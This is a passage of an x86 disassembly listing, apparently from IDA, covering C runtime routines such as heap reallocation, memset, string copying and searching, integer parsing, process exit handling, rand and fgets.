sub_41FB12 test eax, eax pop ecx jnz loc_41BA10 jmp loc_41BC6B ; --------------------------------------------------------------------------- loc_41BB0B: ; CODE XREF: sub_41B9D2+11Aj ; sub_41B9D2+123j ... mov eax, edi jmp loc_41BC6D ; --------------------------------------------------------------------------- loc_41BB12: ; CODE XREF: sub_41B9D2+38j cmp eax, 2 jnz loc_41BC2D cmp esi, 0FFFFFFE0h ja short loc_41BB2F test esi, esi jbe short loc_41BB2C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BB2F ; --------------------------------------------------------------------------- loc_41BB2C: ; CODE XREF: sub_41B9D2+150j push 10h pop esi loc_41BB2F: ; CODE XREF: sub_41B9D2+14Cj ; sub_41B9D2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BC0F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F3D2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BBF3 cmp esi, dword_43EFE4 jnb short loc_41BBB7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F79A add esp, 10h test eax, eax jz short loc_41BB7D mov edi, [ebp+arg_0] jmp short loc_41BBAF ; --------------------------------------------------------------------------- loc_41BB7D: ; CODE XREF: sub_41B9D2+1A4j push edi call sub_41F46E mov edi, eax pop ecx test edi, edi jz short loc_41BBB7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BB96 mov eax, esi loc_41BB96: ; CODE XREF: sub_41B9D2+1C0j push eax push [ebp+arg_0] push edi call near ptr sub_41CAE0 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F429 add esp, 18h loc_41BBAF: ; CODE XREF: sub_41B9D2+1A9j test edi, edi jnz loc_41BB0B loc_41BBB7: ; CODE XREF: sub_41B9D2+18Bj ; sub_41B9D2+1B6j push esi push 0 push dword_4DF6C4 call dword_428148 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BC0F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BBD8 mov eax, esi loc_41BBD8: ; CODE XREF: sub_41B9D2+202j push eax push [ebp+arg_0] push edi call near ptr sub_41CAE0 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F429 add esp, 18h jmp short loc_41BC07 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41B9D2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DF6C4 call dword_42819C ; RtlReAllocateHeap mov edi, eax loc_41BC07: ; CODE XREF: sub_41B9D2+21Fj test edi, edi jnz loc_41BB0B loc_41BC0F: ; CODE XREF: sub_41B9D2+162j ; sub_41B9D2+1F8j cmp dword_4DE0B4, 0 jz loc_41BB0B push esi call sub_41FB12 test eax, eax pop ecx jnz loc_41BB2F jmp short loc_41BC6B ; --------------------------------------------------------------------------- loc_41BC2D: ; CODE XREF: sub_41B9D2+143j ; sub_41B9D2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BC57 test esi, esi jnz short loc_41BC3B push 1 pop esi loc_41BC3B: ; CODE XREF: sub_41B9D2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DF6C4 call dword_42819C ; RtlReAllocateHeap test eax, eax jnz short loc_41BC6D loc_41BC57: ; CODE XREF: sub_41B9D2+260j cmp dword_4DE0B4, 0 jz short loc_41BC6D push esi call sub_41FB12 test eax, eax pop ecx jnz short loc_41BC2D loc_41BC6B: ; CODE XREF: sub_41B9D2+2Bj ; sub_41B9D2+134j ... xor eax, eax loc_41BC6D: ; CODE XREF: sub_41B9D2+16j ; sub_41B9D2+13Bj ... pop edi pop esi pop ebx leave retn sub_41B9D2 endp ; =============== S U B R O U T I N E ======================================= sub_41BC72 proc near ; CODE XREF: sub_41BC92+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FC9D test eax, eax jnz short loc_41BC7C retn ; --------------------------------------------------------------------------- loc_41BC7C: ; CODE XREF: sub_41BC72+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FB2D add esp, 10h retn sub_41BC72 endp ; =============== S U B R O U T I N E ======================================= sub_41BC92 proc near ; CODE XREF: sub_4010C2+18p ; sub_401B66+57DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC72 add esp, 0Ch retn sub_41BC92 endp ; =============== S U B R O U T I N E ======================================= sub_41BCA5 proc near ; CODE XREF: sub_4010C2+6p ; sub_40AA3C+5Fp ... arg_0 = dword ptr 4 push dword_4DE0B4 push [esp+4+arg_0] call sub_41BCB7 pop ecx pop ecx retn sub_41BCA5 endp ; =============== S U B R O U T I N E ======================================= sub_41BCB7 proc near ; CODE XREF: sub_41BCA5+Ap ; sub_41D795+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BCE0 loc_41BCBE: ; CODE XREF: sub_41BCB7+27j push [esp+arg_0] call sub_41BCE3 test eax, eax pop ecx jnz short locret_41BCE2 cmp [esp+arg_4], eax jz short locret_41BCE2 push [esp+arg_0] call sub_41FB12 test eax, eax pop ecx jnz short loc_41BCBE loc_41BCE0: ; CODE XREF: sub_41BCB7+5j xor eax, eax locret_41BCE2: ; CODE XREF: sub_41BCB7+13j ; sub_41BCB7+19j retn sub_41BCB7 endp ; =============== S U B R O U T I N E ======================================= sub_41BCE3 proc near ; CODE XREF: sub_41BCB7+Bp arg_0 = dword ptr 4 mov eax, dword_4DF6C8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BD07 cmp esi, dword_4DF6C0 ja short loc_41BD39 push esi call sub_41E9CB test eax, eax pop ecx jz short loc_41BD39 pop esi retn ; --------------------------------------------------------------------------- loc_41BD07: ; CODE XREF: sub_41BCE3+Dj cmp eax, 2 jnz short loc_41BD39 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BD1C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BD1F ; --------------------------------------------------------------------------- loc_41BD1C: ; CODE XREF: sub_41BCE3+2Fj push 10h pop esi loc_41BD1F: ; CODE XREF: sub_41BCE3+37j cmp esi, dword_43EFE4 ja short loc_41BD46 mov eax, esi shr eax, 4 push eax call sub_41F46E test eax, eax pop ecx jnz short loc_41BD55 jmp short loc_41BD46 ; --------------------------------------------------------------------------- loc_41BD39: ; CODE XREF: sub_41BCE3+15j ; sub_41BCE3+20j ... test esi, esi jnz short loc_41BD40 push 1 pop esi loc_41BD40: ; CODE XREF: sub_41BCE3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BD46: ; CODE XREF: sub_41BCE3+42j ; sub_41BCE3+54j push esi push 0 push dword_4DF6C4 call dword_428148 ; RtlAllocateHeap loc_41BD55: ; CODE XREF: sub_41BCE3+52j pop esi retn sub_41BCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD60 proc near ; CODE XREF: sub_401132+3Cp ; sub_401132+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BDB3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BDA7 neg ecx and ecx, 3 jz short loc_41BD89 sub edx, ecx loc_41BD83: ; CODE XREF: sub_41BD60+27j mov [edi], al inc edi dec ecx jnz short loc_41BD83 loc_41BD89: ; CODE XREF: sub_41BD60+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BDA7 rep stosd test edx, edx jz short loc_41BDAD loc_41BDA7: ; CODE XREF: sub_41BD60+18j ; sub_41BD60+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BDA7 loc_41BDAD: ; CODE XREF: sub_41BD60+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BDB3: ; CODE XREF: sub_41BD60+Aj mov eax, [esp+arg_0] retn sub_41BD60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BDC0 proc near ; CODE XREF: sub_401252+4F4p ; sub_401252+510p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41BE43 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BDE4 shr ecx, 2 jnz short loc_41BE51 jmp short loc_41BE05 ; --------------------------------------------------------------------------- loc_41BDE4: ; CODE XREF: sub_41BDC0+1Bj ; sub_41BDC0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41BE12 test al, al jz short loc_41BE1A test esi, 3 jnz short loc_41BDE4 mov ebx, ecx shr ecx, 2 jnz short loc_41BE51 loc_41BE00: ; CODE XREF: sub_41BDC0+8Fj and ebx, 3 jz short loc_41BE12 loc_41BE05: ; CODE XREF: sub_41BDC0+22j ; sub_41BDC0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41BE3E dec ebx jnz short loc_41BE05 loc_41BE12: ; CODE XREF: sub_41BDC0+2Bj ; sub_41BDC0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41BE1A: ; CODE XREF: sub_41BDC0+2Fj test edi, 3 jz short loc_41BE34 loc_41BE22: ; CODE XREF: sub_41BDC0+72j mov [edi], al inc edi dec ecx jz loc_41BEB6 test edi, 3 jnz short loc_41BE22 loc_41BE34: ; CODE XREF: sub_41BDC0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41BEA7 loc_41BE3B: ; CODE XREF: sub_41BDC0+7Fj ; sub_41BDC0+F4j mov [edi], al inc edi loc_41BE3E: ; CODE XREF: sub_41BDC0+4Dj dec ebx jnz short loc_41BE3B pop ebx pop esi loc_41BE43: ; CODE XREF: sub_41BDC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BE49: ; CODE XREF: sub_41BDC0+A9j ; sub_41BDC0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41BE00 loc_41BE51: ; CODE XREF: sub_41BDC0+20j ; sub_41BDC0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41BE49 test dl, dl jz short loc_41BE9B test dh, dh jz short loc_41BE91 test edx, 0FF0000h jz short loc_41BE87 test edx, 0FF000000h jnz short loc_41BE49 mov [edi], edx jmp short loc_41BE9F ; --------------------------------------------------------------------------- loc_41BE87: ; CODE XREF: sub_41BDC0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41BE9F ; --------------------------------------------------------------------------- loc_41BE91: ; CODE XREF: sub_41BDC0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41BE9F ; --------------------------------------------------------------------------- loc_41BE9B: ; CODE XREF: sub_41BDC0+ADj xor edx, edx mov [edi], edx loc_41BE9F: ; CODE XREF: sub_41BDC0+C5j ; sub_41BDC0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41BEB1 loc_41BEA7: ; CODE XREF: sub_41BDC0+79j xor eax, eax loc_41BEA9: ; CODE XREF: sub_41BDC0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41BEA9 loc_41BEB1: ; CODE XREF: sub_41BDC0+E5j and ebx, 3 jnz short loc_41BE3B loc_41BEB6: ; CODE XREF: sub_41BDC0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BDC0 endp ; =============== S U B R O U T I N E ======================================= sub_41BEBE proc near ; CODE XREF: sub_41BF49+4p ; sub_42501C+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41BEC6: ; CODE XREF: sub_41BEBE+34j cmp dword_43F1F4, 1 jle short loc_41BEDE movzx eax, byte ptr [edi] push 8 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_41BEED ; --------------------------------------------------------------------------- loc_41BEDE: ; CODE XREF: sub_41BEBE+Fj movzx eax, byte ptr [edi] mov ecx, off_43EFE8 mov al, [ecx+eax*2] and eax, 8 loc_41BEED: ; CODE XREF: sub_41BEBE+1Ej test eax, eax jz short loc_41BEF4 inc edi jmp short loc_41BEC6 ; --------------------------------------------------------------------------- loc_41BEF4: ; CODE XREF: sub_41BEBE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41BF04 cmp esi, 2Bh jnz short loc_41BF08 loc_41BF04: ; CODE XREF: sub_41BEBE+3Fj movzx esi, byte ptr [edi] inc edi loc_41BF08: ; CODE XREF: sub_41BEBE+44j xor ebx, ebx loc_41BF0A: ; CODE XREF: sub_41BEBE+7Bj cmp dword_43F1F4, 1 jle short loc_41BF1F push 4 push esi call sub_41FD15 pop ecx pop ecx jmp short loc_41BF2A ; --------------------------------------------------------------------------- loc_41BF1F: ; CODE XREF: sub_41BEBE+53j mov eax, off_43EFE8 mov al, [eax+esi*2] and eax, 4 loc_41BF2A: ; CODE XREF: sub_41BEBE+5Fj test eax, eax jz short loc_41BF3B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41BF0A ; --------------------------------------------------------------------------- loc_41BF3B: ; CODE XREF: sub_41BEBE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41BF44 neg eax loc_41BF44: ; CODE XREF: sub_41BEBE+82j pop edi pop esi pop ebp pop ebx retn sub_41BEBE endp ; =============== S U B R O U T I N E ======================================= sub_41BF49 proc near ; CODE XREF: sub_401252+2F7p ; sub_401B66+6A9p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BEBE pop ecx retn sub_41BF49 endp ; =============== S U B R O U T I N E ======================================= sub_41BF54 proc near ; CODE XREF: .packed:0041E1C6p mov eax, off_43CF8C test eax, eax jz short loc_41BF5F call eax ; sub_41CF18 loc_41BF5F: ; CODE XREF: sub_41BF54+7j push offset dword_42A034 push offset dword_42A020 call sub_41C03C push offset dword_42A01C push offset dword_42A000 call sub_41C03C add esp, 10h retn sub_41BF54 endp ; =============== S U B R O U T I N E ======================================= sub_41BF81 proc near ; CODE XREF: .packed:0041E205p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41BFA3 add esp, 0Ch retn sub_41BF81 endp ; =============== S U B R O U T I N E ======================================= sub_41BF92 proc near ; CODE XREF: .packed:0041E224p ; sub_41E229+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41BFA3 add esp, 0Ch retn sub_41BF92 endp ; =============== S U B R O U T I N E ======================================= sub_41BFA3 proc near ; CODE XREF: sub_41BF81+8p ; sub_41BF92+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DE074, edi jnz short loc_41BFC0 push [esp+4+arg_0] call dword_4280FC ; GetCurrentProcess push eax call dword_4280F4 ; TerminateProcess loc_41BFC0: ; CODE XREF: sub_41BFA3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DE070, edi mov byte_4DE06C, bl jnz short loc_41C014 mov eax, dword_4DF6DC test eax, eax jz short loc_41C003 mov ecx, dword_4DF6D8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C002 loc_41BFEF: ; CODE XREF: sub_41BFA3+5Dj mov eax, [esi] test eax, eax jz short loc_41BFF7 call eax loc_41BFF7: ; CODE XREF: sub_41BFA3+50j sub esi, 4 cmp esi, dword_4DF6DC jnb short loc_41BFEF loc_41C002: ; CODE XREF: sub_41BFA3+4Aj pop esi loc_41C003: ; CODE XREF: sub_41BFA3+3Cj push offset dword_42A040 push offset dword_42A038 call sub_41C03C pop ecx pop ecx loc_41C014: ; CODE XREF: sub_41BFA3+33j push offset dword_42A04C push offset dword_42A044 call sub_41C03C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C03A push [esp+4+arg_0] mov dword_4DE074, edi call dword_428068 ; ExitProcess loc_41C03A: ; CODE XREF: sub_41BFA3+85j pop edi retn sub_41BFA3 endp ; =============== S U B R O U T I N E ======================================= sub_41C03C proc near ; CODE XREF: sub_41BF54+15p ; sub_41BF54+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C041: ; CODE XREF: sub_41C03C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C054 mov eax, [esi] test eax, eax jz short loc_41C04F call eax loc_41C04F: ; CODE XREF: sub_41C03C+Fj add esi, 4 jmp short loc_41C041 ; --------------------------------------------------------------------------- loc_41C054: ; CODE XREF: sub_41C03C+9j pop esi retn sub_41C03C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C056 proc near ; CODE XREF: sub_401252+18Fp ; sub_401252+286p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FE9F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C096 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C0A3 ; --------------------------------------------------------------------------- loc_41C096: ; CODE XREF: sub_41C056+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FD8A pop ecx pop ecx loc_41C0A3: ; CODE XREF: sub_41C056+3Ej mov eax, esi pop esi leave retn sub_41C056 endp ; =============== S U B R O U T I N E ======================================= sub_41C0A8 proc near ; CODE XREF: sub_401252+45p ; sub_401B66+316Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43CF70, eax retn sub_41C0A8 endp ; =============== S U B R O U T I N E ======================================= sub_41C0B2 proc near ; CODE XREF: sub_401252:loc_4013AAp ; sub_401252+4DBp ... mov eax, dword_43CF70 imul eax, 343FDh add eax, 269EC3h mov dword_43CF70, eax sar eax, 10h and eax, 7FFFh retn sub_41C0B2 endp ; =============== S U B R O U T I N E ======================================= sub_41C0D0 proc near ; CODE XREF: sub_401252+12Dp ; sub_401B66+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C14A mov dh, [ecx+1] test dh, dh jz short loc_41C137 loc_41C0E8: ; CODE XREF: sub_41C0D0+52j ; sub_41C0D0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C10A test al, al jz short loc_41C104 loc_41C0F9: ; CODE XREF: sub_41C0D0+32j mov al, [esi] inc esi loc_41C0FC: ; CODE XREF: sub_41C0D0+3Fj cmp al, dl jz short loc_41C10A test al, al jnz short loc_41C0F9 loc_41C104: ; CODE XREF: sub_41C0D0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C10A: ; CODE XREF: sub_41C0D0+23j ; sub_41C0D0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C0FC lea edi, [esi-1] loc_41C114: ; CODE XREF: sub_41C0D0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C143 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C0E8 mov al, [ecx+3] test al, al jz short loc_41C143 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C114 jmp short loc_41C0E8 ; --------------------------------------------------------------------------- loc_41C137: ; CODE XREF: sub_41C0D0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C786 ; --------------------------------------------------------------------------- loc_41C143: ; CODE XREF: sub_41C0D0+49j ; sub_41C0D0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C14A: ; CODE XREF: sub_41C0D0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C0D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C150 proc near ; CODE XREF: sub_401252+11Ap ; sub_401B66+1B9Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FE9F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C18F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C19C ; --------------------------------------------------------------------------- loc_41C18F: ; CODE XREF: sub_41C150+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FD8A pop ecx pop ecx loc_41C19C: ; CODE XREF: sub_41C150+3Dj mov eax, esi pop esi leave retn sub_41C150 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1A1 proc near ; CODE XREF: sub_401252+FAp ; sub_401B66+20EEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B7B0 cmp eax, 1 pop ecx jb short loc_41C1DC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C1DC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C1D8 push 2 push ebx push esi call sub_420A89 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C1D8: ; CODE XREF: sub_41C1A1+25j inc ebx inc ebx jmp short loc_41C1E6 ; --------------------------------------------------------------------------- loc_41C1DC: ; CODE XREF: sub_41C1A1+18j ; sub_41C1A1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C1E6 and byte ptr [eax], 0 loc_41C1E6: ; CODE XREF: sub_41C1A1+39j ; sub_41C1A1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C25E loc_41C1F9: ; CODE XREF: sub_41C1A1+87j mov cl, [eax] movzx edx, cl test byte_4DF5A1[edx], 4 jz short loc_41C20A inc eax jmp short loc_41C224 ; --------------------------------------------------------------------------- loc_41C20A: ; CODE XREF: sub_41C1A1+64j cmp cl, 2Fh jz short loc_41C21E cmp cl, 5Ch jz short loc_41C21E cmp cl, 2Eh jnz short loc_41C224 mov [ebp+var_4], eax jmp short loc_41C224 ; --------------------------------------------------------------------------- loc_41C21E: ; CODE XREF: sub_41C1A1+6Cj ; sub_41C1A1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C224: ; CODE XREF: sub_41C1A1+67j ; sub_41C1A1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C1F9 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C25E cmp [ebp+arg_8], 0 jz short loc_41C259 sub edi, ebx cmp edi, esi jb short loc_41C242 mov edi, esi loc_41C242: ; CODE XREF: sub_41C1A1+9Dj push edi push ebx push [ebp+arg_8] call sub_420A89 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C259: ; CODE XREF: sub_41C1A1+97j mov ebx, [ebp+arg_4] jmp short loc_41C268 ; --------------------------------------------------------------------------- loc_41C25E: ; CODE XREF: sub_41C1A1+56j ; sub_41C1A1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C268 and byte ptr [ecx], 0 loc_41C268: ; CODE XREF: sub_41C1A1+BBj ; sub_41C1A1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C2BB cmp edi, ebx jb short loc_41C2BB cmp [ebp+arg_C], 0 jz short loc_41C298 sub edi, ebx cmp edi, esi jb short loc_41C281 mov edi, esi loc_41C281: ; CODE XREF: sub_41C1A1+DCj push edi push ebx push [ebp+arg_C] call sub_420A89 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C298: ; CODE XREF: sub_41C1A1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C2E3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C2A8 mov esi, eax loc_41C2A8: ; CODE XREF: sub_41C1A1+103j push esi push [ebp+var_4] push edi call sub_420A89 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C2E3 ; --------------------------------------------------------------------------- loc_41C2BB: ; CODE XREF: sub_41C1A1+CCj ; sub_41C1A1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C2D9 sub eax, ebx cmp eax, esi jnb short loc_41C2CA mov esi, eax loc_41C2CA: ; CODE XREF: sub_41C1A1+125j push esi push ebx push edi call sub_420A89 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C2D9: ; CODE XREF: sub_41C1A1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C2E3 and byte ptr [eax], 0 loc_41C2E3: ; CODE XREF: sub_41C1A1+FCj ; sub_41C1A1+118j ... pop edi pop esi pop ebx leave retn sub_41C1A1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C2F0 proc near ; CODE XREF: sub_4019F7+8p ; sub_401B66+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C310 loc_41C2FC: ; CODE XREF: sub_41C2F0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C2FC loc_41C310: ; CODE XREF: sub_41C2F0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C2F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C31F proc near ; CODE XREF: sub_401B66+7438p ; sub_401B66+7465p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C333 xor eax, eax jmp short loc_41C369 ; --------------------------------------------------------------------------- loc_41C333: ; CODE XREF: sub_41C31F+Ej dec [ebp+arg_4] push esi jz short loc_41C363 mov esi, [ebp+arg_8] loc_41C33C: ; CODE XREF: sub_41C31F+42j dec dword ptr [esi+4] js short loc_41C34B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C352 ; --------------------------------------------------------------------------- loc_41C34B: ; CODE XREF: sub_41C31F+20j push esi call sub_41F843 pop ecx loc_41C352: ; CODE XREF: sub_41C31F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C36D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C363 dec [ebp+arg_4] jnz short loc_41C33C loc_41C363: ; CODE XREF: sub_41C31F+18j ; sub_41C31F+3Dj ... and byte ptr [edi], 0 loc_41C366: ; CODE XREF: sub_41C31F+55j mov eax, ebx pop esi loc_41C369: ; CODE XREF: sub_41C31F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C36D: ; CODE XREF: sub_41C31F+36j cmp edi, [ebp+arg_0] jnz short loc_41C363 xor ebx, ebx jmp short loc_41C366 sub_41C31F endp ; =============== S U B R O U T I N E ======================================= sub_41C376 proc near ; CODE XREF: sub_41E48A+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C38D add esp, 10h retn sub_41C376 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C38D proc near ; CODE XREF: sub_41C376+Ep ; sub_41C595+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C3A5: ; CODE XREF: sub_41C38D+46j cmp dword_43F1F4, 1 jle short loc_41C3BD movzx eax, bl push 8 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_41C3CC ; --------------------------------------------------------------------------- loc_41C3BD: ; CODE XREF: sub_41C38D+1Fj mov ecx, off_43EFE8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C3CC: ; CODE XREF: sub_41C38D+2Ej test eax, eax jz short loc_41C3D5 mov bl, [esi] inc esi jmp short loc_41C3A5 ; 